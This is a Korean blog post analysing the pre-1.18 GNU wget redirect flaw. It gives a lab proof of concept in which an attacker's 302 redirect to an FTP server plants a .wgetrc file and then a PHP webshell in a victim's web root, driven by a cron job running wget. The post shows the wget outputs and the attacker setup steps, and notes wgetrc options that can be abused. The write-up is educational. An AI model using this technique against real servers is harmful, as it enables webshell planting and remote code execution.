티스토리 뷰
1. 개요
Wget의 취약점을 이용하여 악의적인 파일을 서버에 업로드 할 수 있는 취약점이다.
※ wget이란? : Wget은 네트워크 상에서 데이터를 다운받는 command 기반의 프로그램으로 인터넷 프로토콜 인 HTTP, HTTPS, FTP를 사용하여 파일을 검색하는 무료 소프트웨어
패키지를 의미한다.
2. 내용
1.18 이전 버전의 wget에서 외부 서버로 데이터 요청 시, 302와 같이 Redirection되는 응답을 받으면, Redirection되는 위치의 파일을 가져오게 된다. 이 때 다운로드 되는 파일은 별도의 옵션이 없다면 최초 요청한 파일이 아닌 Redirction되는 파일의 이름으로 따라가게 된다.
이때 Redirction되는 파일이 악의적인 파일이라면, 시스템 사용 환경에 따라 root 권한을 탈취 하거나, 원격 코드 실행이 가능할 수 있다.
3. 영향 받는 버전
GNU wget 1.18 미만 버전
4. 상세 내용
1) 302 Redirection 을 이용한 악성 행위
공격자는 웹 서버에 Redirection을 설정하여 FTP 서버로 연결되도록 한다.
[TEST 구문]
[root@localhost html]# wget http://192.168.0.7
--2017-01-30 06:11:10-- http://192.168.0.7/
Connecting to 192.168.0.7:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: ftp://192.168.0.7/phpwebshell.php [following]
--2017-01-30 06:11:10-- ftp://192.168.0.7/phpwebshell.php
=> “phpwebshell.php”
Connecting to 192.168.0.7:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE phpwebshell.php ... 65059
==> PASV ... done. ==> RETR phpwebshell.php ... done.
2017-01-30 06:11:10 (12.7 MB/s) - “phpwebshell.php” saved [65059]
wget으로 요청된 파일은 서버의 Redirect 설정에 따라서 ftp서버로 자동 접근하여 악성 파일을 자동으로 다운로드 받게 되며, 악성 파일명 그대로 다운로드된다.
이 취약점을 이용하여 공격자는 악의적인 파일을 피해자 서버에 업로드 시킬 수 있다.
[그림1.] Wireshark를 통한 리다이렉션 확인
2) Wgetrc를 이용한 공격
Wgetrc는 wget 명령어 중 자주 사용되는 것들을 파일 내에 설정하게끔 한다.
-P , -r 등 명령어 중 필요한 기능을 파일 내 입력해 두면 항상 사용되어 편리하다.
공격자는 악성 명령어들이 포함된 Wgetrc 파일을 1) 과 같은 방법을 이용해 다운받을 수 있다.
- P 옵션
-P 옵션은 파일이 저장되는 경로를 지정할 수 있다. (EX. -P /var/www/html)
Wget을 이용한 파일 다운로드시 기본적으로 홈 디렉토리에 저장되지만, -P 옵션을 이용하면 경로를 수동으로 지정할 수 있다.
공격자는 이를 악용하여 기본 설정을 웹 루트 디렉토리로 지정하여, 웹쉘 다운로드 시 URL 경로를 통하여 웹쉘에 접근할 수 있다.
- O 옵션 (--output-document=FILE)
특정위치에 지정한 파일로 저장한다.
P옵션은 파일 저장 위치만 지정하고, O옵션은 위치 및 파일 명까지 지정하는 차이가 있다.
- Proxy
Wgetrc 파일 내에 Proxy 설정을 할 경우에도 악용할 가능성이 있다.
파일 내에 Https/http/ftp 에 대한 기본 프록시를 지정하여 이용할 수 있는데, 공격자가 악성 프록시 경로를 지정하여 이후 추가 행위를 시도할 수 있다.
-Y, --proxy=on/off
프록시 On/Off 설정
+ --proxy-user=USER 프록시 사용자 계정 지정
+ --proxy-passwd=PASS 프록시 패스워드 설정
-- post_data = string
모든 HTTP 요청의 경우 POST를 사용하고 요청 본문에 문자열 전송
-- post_file = file
모든 HTTP 요청에 대해 POST를 사용하고 요청 본문에 file 내용 전송
'--post-file = file'과 동일
5. PoC
※ 실습 시나리오
- Victim 서버는 Cron 기능을 통해 주기적으로 DB를 업데이트
- 공격자는 업데이트 서버를 해킹해 FTP 서버로 리다이렉트되도록 변조
(또는, 피싱 공격을 통해 사용자가 공격자의 웹서버로 접근하도록 유도)
- 사용자는 302 리다이렉션을 통해 공격자의 FTP 서버의 파일을 내려받게 됨
- 이 취약점을 이용해 wgetrc파일 및 기타 악성 파일을 사용자 권한으로 다운받을 수 있음
1) 환경 구성
# Victim 구성
OS : Cent OS 6.8
GNU Wget ver. 1.12
(Cron 기능을 통해 주기적으로 DB 업데이트를 하는 Victim 서버)
root@victim:~# cat /etc/cron.d/update-database
# Update
database file every 2 minutes
*/2 * * * * root wget -N http://update-server/database.db >
/dev/null 2>&1
> 사용자는 2분마다 Update 서버에서 db 업데이트 파일을 다운로드한다.
웹 서버 생성
> yum install httpd
> yum install mysql mysql-server
> yum install php php-mysql
> rpm –qa httpd mysql php (설치 후 확인)
[root@localhost /]# rpm -qa httpd mysql php
php-5.3.3-48.el6_8.i686
httpd-2.2.15-56.el6.centos.3.i686
mysql-5.1.73-8.el6_8.i686
# Attacker 구성
OS : Window7
웹 서버 및 FTP 서버 생성, 리다이렉션 설정
> [제어판] - [시스템 및 보안] - [관리 도구] - [IIS 관리자] 를 이용하여 웹 서버 및 FTP 서버를 생성
> FTP 서버에 홈 디렉토리를 지정하고 악성 파일을 해당 경로에 저장
> 웹 서버 설정 내 HTTP 리디렉션 항목 선택하여 악성 경로 지정
2) 공격자는 업데이트 서버를 변조
대상 서버를 해킹해 FTP로 리다이렉션 명령을 주거나, 피싱을 통해 공격자 웹 서버로 유도한다.
3) PoC 테스트
공격자는 FTP 폴더 내에 wgetrc 및 웹쉘 파일을 이동시킨다.
[그림2.] FTP 경로에 .wgetrc 파일 및 웹쉘 파일 이동
IIS 내 리다이렉션 기능을 이용해 wgetrc 파일을 다운받도록 설정한다.
[그림3.] 리다이렉션 기능 설정
실제 wget을 이용해 접근시, wgetrc 파일이 홈 디렉토리에 다운로드 된다.
(wgetrc 파일 내에 -P 옵션을 이용해 다운로드 경로를 /var/www/html로 수정)
[root@localhost ~]# wget http://192.168.0.7
--2017-01-30 07:23:27-- http://192.168.0.7/
Connecting to 192.168.0.7:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: ftp://192.168.0.7/.wgetrc [following]
--2017-01-30 07:23:27-- ftp://192.168.0.7/.wgetrc
=> “.wgetrc”
Connecting to 192.168.0.7:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .wgetrc ... 23
==> PASV ... done. ==> RETR .wgetrc ... done.
2017-01-30 07:23:27 (4.07 MB/s) - “.wgetrc” saved [23]
이후, 리다이렉션 주소를 변경하여 웹쉘 파일 다운로드한다.
[root@localhost ~]# wget http://192.168.0.7
--2017-01-30 07:36:52-- http://192.168.0.7/
Connecting to 192.168.0.7:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: ftp://192.168.0.7/phpwebshell.php [following]
--2017-01-30 07:36:52-- ftp://192.168.0.7/phpwebshell.php
=> “-P /var/www/html/phpwebshell.php”
Connecting to 192.168.0.7:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE phpwebshell.php ... 65059
==> PASV ... done. ==> RETR phpwebshell.php ... done.
2017-01-30 07:36:52 (5.35 MB/s) - “-P /var/www/html/phpwebshell.php” saved [65059]
웹 루트 경로로 다운로드
되는 것이 확인된다.
이후 Victim의 웹쉘 경로 접근시, 웹쉘 업로드 확인되며 접근 가능하다.
이를 통해 공격자는 권한 상승 및 임의코드 실행이 가능하다.
※ 실습에서는 웹쉘이 실행되는 과정을 확인하기 위해 공격자 웹 서버에 2번 접근하여 수동으로 웹쉘을 다운로드 했다.
그러나 Cron을 통해 주기적으로 업데이트를 하는 사용자는 더 위험성이 높다.
취약점에 노출되면, 자동 업데이트 일정을 통해 지속적으로 공격자에게 공격당할 수 있기 때문이다.
또한, 사용자는 공격을 당하고 있는 지 모르는 상태일 확률이 높다.
6. 참고사이트
'취약점분석' 카테고리의 다른 글
Apache Struts2 RCE S2-046 - CVE-2017-5638_2 (0) | 2017.03.22 |
---|---|
Apache Struts2 RCE S2-045 - CVE-2017-5638 (2) | 2017.03.12 |
CBC(Cipher Block Chaining) Padding oracle Attack (1) | 2017.02.06 |
CVE-2016-10033 - PHPMailer RCE 취약점 분석 (0) | 2017.01.08 |
- Total
- Today
- Yesterday
- Suricata
- Struts2
- Vulmon
- 취약점
- phpmailer
- Snort
- cve-2016-10045
- s2-046
- 취약점분석
- cve-2016-10033
- S2-045
- CVE-2017-5638
- PHPMailer RCE
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |